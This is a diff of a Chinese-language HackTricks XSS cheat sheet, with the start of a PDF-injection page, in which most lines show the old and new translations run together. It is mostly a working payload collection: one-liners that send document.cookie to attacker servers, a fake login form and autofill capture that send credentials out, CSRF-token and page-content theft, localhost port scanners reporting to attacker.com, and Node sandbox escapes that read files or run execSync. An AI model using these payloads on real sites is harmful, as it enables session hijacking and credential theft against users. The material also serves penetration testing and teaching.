### 在302响应中通过头注入实现XSS ### 在 302 响应中利用头部注入进行 XSS
如果你发现可以**在302重定向响应中注入头信息**,你可以尝试**让浏览器执行任意JavaScript代码**。这并**非易事**因为现代浏览器如果HTTP响应状态码是302通常不会解析HTTP响应体所以仅仅一个跨站脚本载荷是无效的。 如果你发现可以在 302 重定向响应中**注入头部**,你可以尝试**让浏览器执行任意 JavaScript**。这并不容易,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应主体,因此仅有跨站脚本负载是无用的。
在[**这篇报告**](https://www.gremwell.com/firefox-xss-302)和[**这篇报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中你可以阅读如何测试Location头中的几种协议看看是否有任何一种允许浏览器检查并执行正文中的XSS载荷。\ 在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这篇文章**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以了解如何测试 Location 头部中的多个协议,看看是否有任何协议允许浏览器检查并执行主体内的 XSS 负载。\
过去已知的协议包括:`mailto://`, `//x:1/`, `ws://`, `wss://`, _空Location头_`resource://`。 过去已知的协议`mailto://`、`//x:1/`、`ws://`、`wss://`、_空 Location 头部_、`resource://`。
### 仅限字母、数字和点 ### 仅限字母、数字和点
如果你能够指定javascript将要**执行**的**回调**,并且仅限于这些字符。[**阅读这篇文章的这一节**](./#javascript-function)来找出如何利用这种行为。 如果你能指示**回调**将要**执行**的 JavaScript 仅限于这些字符。[**阅读本文的这一部分**](./#javascript-function)以了解如何滥用这种行为。
### 有效的`<script>`XSS ### 有效的 `<script>` 内容类型用于 XSS
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果你尝试加载一个内容类型为`application/octet-stream`的脚本Chrome会抛出以下错误: (来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果尝试加载一个带有 `application/octet-stream` 等**内容类型**的脚本Chrome 将抛出以下错误:
> 由于其MIME类型application/octet-stream不可执行并且启用了严格的MIME类型检查拒绝执行来自[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')的脚本 > Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 因为其 MIME 类型application/octet-stream不可执行并且启用了严格的 MIME 类型检查
唯一支持Chrome运行**加载的脚本**的**Content-Type**是在[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)中的常量**`kSupportedJavascriptTypes`**里面的类型 唯一支持 Chrome 运行**加载的脚本**的**内容类型**是位于[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) 中的常量 **`kSupportedJavascriptTypes`**。
```c ```c
const char* const kSupportedJavascriptTypes[] = { const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript", "application/ecmascript",
@ -832,16 +839,16 @@ const char* const kSupportedJavascriptTypes[] = {
}; };
``` ```
### XSS 中的脚本类型 ### XSS中的脚本类型
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以用来指示加载脚本? (来源[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以用来加载脚本
```html ```html
<script type="???"></script> <script type="???"></script>
``` ```
答案是: 答案是:
* **module**(默认,无需解释) * **module**(默认,无需解释)
* [**webbundle**](https://web.dev/web-bundles/)Web Bundles 是一个功能您可以将一堆数据HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。 * [**webbundle**](https://web.dev/web-bundles/)Web Bundles 是一项功能您可以将大量数据HTML、CSS、JS 等)打包到一个 **`.wbn`** 文件中。
```html ```html
<script type="webbundle"> <script type="webbundle">
{ {
@ -868,9 +875,9 @@ import moment from "moment";
import { partition } from "lodash"; import { partition } from "lodash";
</script> </script>
``` ```
此行为在[**此报告**](https://github.com/zwade/yaca/tree/master/solution)中被用来重新映射一个库到 eval 来滥用它,从而触发 XSS。 这种行为被用于[**这篇解决方案**](https://github.com/zwade/yaca/tree/master/solution)中,将一个库重新映射到`eval`,以滥用它来触发 XSS。
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 此功能主要是为了解决预渲染引起的一些问题。其工作原理如下: * [**speculationrules**](https://github.com/WICG/nav-speculation)**** 这个特性主要是为了解决预渲染造成的一些问题。它的工作原理如下:
```html ```html
<script type="speculationrules"> <script type="speculationrules">
{ {
@ -888,22 +895,22 @@ import { partition } from "lodash";
``` ```
### Web内容类型与XSS ### Web内容类型与XSS
(来源于[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))以下内容类型在所有浏览器中都能执行XSS (来源[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行XSS
* text/html * text/html
* application/xhtml+xml * application/xhtml+xml
* application/xml * application/xml
* text/xml * text/xml
* image/svg+xml * image/svg+xml
* text/plain ?? 不在列表中但我认为我在CTF中见过 * text/plain (?? 不在列表中但我记得在一个CTF中看到过)
* application/rss+xml (关闭) * application/rss+xml (关闭)
* application/atom+xml (关闭) * application/atom+xml (关闭)
在其他浏览器中,其他**`Content-Types`**可以用来执行任意JS查看:[https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) 在其他浏览器中,其他**`Content-Types`**可用于执行任意JS查看:[https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml内容类型 ### xml内容类型
如果页面返回的是text/xml内容类型可以指定一个命名空间并执行任意JS 如果页面返回text/xml内容类型可以指定命名空间并执行任意JS
```xml ```xml
<xml> <xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text> <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -913,19 +920,19 @@ import { partition } from "lodash";
``` ```
### 特殊替换模式 ### 特殊替换模式
使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时,攻击者可以使用[**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)来尝试绕过些保护措施:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` 当类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 这样的代码被使用时,攻击者可以使用[**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)来尝试绕过些保护措施:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
例如在[**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)中,这种方法被用来**逃逸一个 JSON 字符串**在脚本中并执行任意代码。 例如在[**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),这种方法被用来**转义脚本中的 JSON 字符串**并执行任意代码。
### Chrome 缓存到 XSS ### Chrome缓存到XSS
{% content-ref url="chrome-cache-to-xss.md" %} {% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md) [chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %} {% endcontent-ref %}
### XS 监狱逃脱 ### XS Jails逃逸
如果你只能使用有限的字符集,请检查这些其他有效的 XSJail 问题解决方案 如果你只能使用有限的字符集,可以查看这些其他有效的解决方案来解决XSJail问题
```javascript ```javascript
// eval + unescape + regex // eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -956,30 +963,28 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in // For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
``` ```
如果在执行不可信代码之前**一切都是未定义的**(就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所描述的),那么有可能“凭空”生成有用的对象来滥用任意不可信代码的执行 如果在执行不受信任的代码之前**一切都是未定义的**(就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所述),可以使用以下方法从"无中生有"生成有用的对象,以滥用执行任意不受信任代码的过程
* 使用 import() * 使用import()
```javascript ```javascript
// although import "fs" doesnt work, import('fs') does. // although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
``` ```
* 间接访问 `require` * 间接访问`require`
[根据这个信息](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)Node.js会将模块包装在一个函数中如下所示 [根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 在Node.js中模块被包装在一个函数内就像这样
```javascript ```javascript
(function (exports, require, module, __filename, __dirname) { (function (exports, require, module, __filename, __dirname) {
// our actual module code // our actual module code
}); });
``` ```
因此,如果我们可以从该模块**调用另一个函数**,就可以在那个函数中使用 `arguments.callee.caller.arguments[1]` 来访问**`require`** 因此,如果我们可以从该模块**调用另一个函数**,就可以在该函数中使用`arguments.callee.caller.arguments[1]`来访问**`require`**
{% code overflow="wrap" %}
```javascript ```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
``` ```
{% endcode %} {% endcode %}
与前面的例子类似,可以**使用错误处理程序**来访问模块的**包装器**并获取**`require`**函数: 类似于前面的示例,可以使用错误处理程序来访问模块的包装器并获取 `require` 函数:
```javascript ```javascript
try { try {
null.f() null.f()
@ -1016,9 +1021,9 @@ console.log(req('child_process').execSync('id').toString())
} }
trigger() trigger()
``` ```
### 混淆高级绕过 ### 混淆高级绕过
* **同一页面的不同混淆技术:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * **同一页面的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1051,15 +1056,15 @@ trigger()
```javascript ```javascript
// It's also possible to execute JS code only with the chars: []`+!${} // It's also possible to execute JS code only with the chars: []`+!${}
``` ```
## XSS 常见有效载荷 ## XSS常见有效载荷
### 多个有效载荷合 ### 多个有效载荷合
{% content-ref url="steal-info-js.md" %} {% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md) [steal-info-js.md](steal-info-js.md)
{% endcontent-ref %} {% endcontent-ref %}
### 检索 Cookies ### 检索Cookies
```javascript ```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie> <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie"> <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1082,7 +1087,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script> <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
``` ```
{% hint style="info" %} {% hint style="info" %}
如果 cookie 设置了 HTTPOnly 标志,您**将无法通过 JavaScript 访问 cookie**。但如果您足够幸运,这里有[一些绕过这种保护的方法](../hacking-with-cookies/#httponly)。 如果在 cookie 中设置了 HTTPOnly 标志,您将**无法从 JavaScript 中访问 cookie**。但是,如果您足够幸运,您可以通过[一些方法绕过此保护](../hacking-with-cookies/#httponly)。
{% endhint %} {% endhint %}
### 窃取页面内容 ### 窃取页面内容
@ -1148,7 +1153,7 @@ q.shift()();
```javascript ```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
``` ```
### 端口扫描器(websockets ### 端口扫描器(WebSockets
```python ```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234]; var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) { for(var i=0; i<ports.length; i++) {
@ -1165,9 +1170,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
``` ```
_短时间表示端口有响应_ _较长时间表示无响应。_ _短时间表示端口有响应_ _较长时间表示无响应。_
查看Chrome中禁止的端口列表[**这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)以及Firefox中的列表[**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。 查看Chrome中禁止的端口列表[**这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)以及Firefox中的[**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
### 请求凭证的对话 ### 用于请求凭据的
```markup ```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script> <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
``` ```
@ -1182,18 +1187,18 @@ mode: 'no-cors',
body:username.value+':'+this.value body:username.value+':'+this.value
});"> });">
``` ```
当任何数据在密码字段中被输入时,用户名和密码会被发送到攻击者的服务器,即使客户端选择了保存的密码并且没有输入任何东西,凭证也会被窃取 当任何数据被输入到密码字段时,用户名和密码将被发送到攻击者的服务器,即使客户端选择了保存的密码并且没有输入任何内容,凭据也会被外泄
### 键盘记录器 ### 键盘记录器
仅在github上搜索我就找到了一些不同的: 仅在 GitHub 上搜索,我找到了几个不同的:
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
* 你也可以使用metasploit `http_javascript_keylogger` * 您还可以使用 metasploit `http_javascript_keylogger`
### 窃取CSRF令牌 ### 窃取 CSRF 令牌
```javascript ```javascript
<script> <script>
var req = new XMLHttpRequest(); var req = new XMLHttpRequest();
@ -1232,7 +1237,7 @@ document.getElementById("message").src += "&"+e.data;
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### 盲 XSS 载 ### 盲 XSS
您也可以使用:[https://xsshunter.com/](https://xsshunter.com) 您也可以使用:[https://xsshunter.com/](https://xsshunter.com)
```markup ```markup
@ -1276,7 +1281,7 @@ document.getElementById("message").src += "&"+e.data;
``` ```
### 正则表达式 - 访问隐藏内容 ### 正则表达式 - 访问隐藏内容
从[**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)中可以了解到即使某些值从JS中消失仍然可以在不同对象的JS属性中找到它们。例如即使正则表达式输入的值被移除后,仍然有可能找到正则表达式的输入: 从[**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)中可以了解到即使某些值从JS中消失仍然可以在不同对象的JS属性中找到它们。例如即使正则表达式输入的值被删除了,仍然可以在正则表达式的输入中找到它。
```javascript ```javascript
// Do regex with flag // Do regex with flag
flag="CTF{FLAG}" flag="CTF{FLAG}"
@ -1299,31 +1304,31 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### Markdown中的XSS ### Markdown中的XSS
能注入将被渲染的Markdown代码吗也许你可以实现XSS检查 可以注入Markdown代码以进行渲染吗也许你可以获得XSS检查
{% content-ref url="xss-in-markdown.md" %} {% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md) [xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %} {% endcontent-ref %}
### XSS升级为SSRF ### XSSSSRF
在**使用缓存的网站**上获得了XSS尝试通过Edge Side Include注入使用以下payload来**升级为SSRF** 在**使用缓存的网站**上获得XSS尝试使用此有效负载通过边缘包含注入将其升级为SSRF
```python ```python
<esi:include src="http://yoursite.com/capture" /> <esi:include src="http://yoursite.com/capture" />
``` ```
使用它来绕过cookie限制、XSS过滤器等等 使用它来绕过cookie限制、XSS过滤器等等\
有关此技术的更多信息,请参阅[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。 有关此技术的更多信息,请查看[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
### 动态创建PDF中的XSS ### 动态创建PDF中的XSS
如果一个网页使用用户控制的输入创建PDF你可以尝试**欺骗**创建PDF的**机器人**去**执行任意JS代码**。 如果一个网页使用用户控制的输入创建PDF您可以尝试**欺骗**创建PDF的**机器人**来**执行任意JS代码**。\
因此,如果**PDF创建机器人发现**某种**HTML** **标签**,它将会**解释**它们,你可以**利用**这种行为引发**服务器端XSS**。 因此,如果**PDF创建机器人发现**某种**HTML** **标签**,它将**解释**它们,您可以**利用**这种行为来引发**服务器XSS**。
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %} {% endcontent-ref %}
如果无法注入HTML标签尝试**注入PDF数据**可能是值得的 如果无法注入HTML标签可以尝试**注入PDF数据**
{% content-ref url="pdf-injection.md" %} {% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md) [pdf-injection.md](pdf-injection.md)
@ -1331,15 +1336,15 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
### Amp4Email中的XSS ### Amp4Email中的XSS
AMP是一种以在移动客户端上开发超快网页而闻名的技术。**AMP是一组由JavaScript支持的HTML标签**,它可以轻松启用功能,同时更加注重性能和安全性。有各种[AMP组件](https://amp.dev/documentation/components/?format=websites),从轮播图,到响应式表单元素,到从远程端点检索新内容 AMP是一种以开发移动客户端上超快网页而闻名的技术。**AMP是由JavaScript支持的一组HTML标签**,可以轻松启用功能,并专注于性能和安全性。有关从轮播图到响应式表单元素再到从远程端点检索新内容的一切内容的[AMP组件](https://amp.dev/documentation/components/?format=websites)。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)格式提供了你可以在电子邮件消息中使用的[AMP组件子集](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md)。AMP电子邮件的接收者可以直接在电子邮件中查看和与AMP组件互 [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)格式提供了[一组AMP组件](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md),您可以在电子邮件中使用。 AMP电子邮件的收件人可以直接在电子邮件中查看和与AMP组件互。
示例 [**在Gmail中Amp4Email的XSS写**](https://adico.me/post/xss-in-gmail-s-amp4email)。 示例[**在Gmail中Amp4Email的XSS写**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### 上传文件的XSSsvg ### 上传文件的XSSsvg
上传如下文件作为图片(来源:[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) 将如下文件作为图像上传(来自[http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/):
```markup ```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574 Content-Length: 574
@ -1395,15 +1400,15 @@ id="foo"/>
```xml ```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" /> <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
``` ```
在[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) **找到更多 SVG 载荷** 在[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)中查找**更多SVG有效载荷**
## 杂项 JS 技巧 & 相关信息 ## 杂项JS技巧和相关信息
{% content-ref url="other-js-tricks.md" %} {% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md) [other-js-tricks.md](other-js-tricks.md)
{% endcontent-ref %} {% endcontent-ref %}
## XSS 资源 ## XSS资源
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) * [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
@ -1411,25 +1416,25 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
### XSS 工具 ### XSS工具
[**这里找到 XSS 工具**](xss-tools.md)**。** 这里[**找到一些XSS工具**](xss-tools.md)**。**
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**漏洞赏金提示****注册** **Intigriti**,一个由黑客创建,为黑客服务的高级**漏洞赏金平台**!立即加入 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金! **漏洞赏金提示****注册**Intigriti一个由黑客创建的高级**漏洞赏金平台,为黑客而生**!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果你想在 HackTricks 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,128 +1,33 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
**如果您的输入在PDF文件中被反映您可以尝试注入PDF数据来执行JavaScript或窃取PDF内容。** **如果您的输入被反映在PDF文件中您可以尝试注入PDF数据以执行JavaScript或窃取PDF内容。**
以下信息取自 [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) 查看帖子:[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
## PDF-Lib
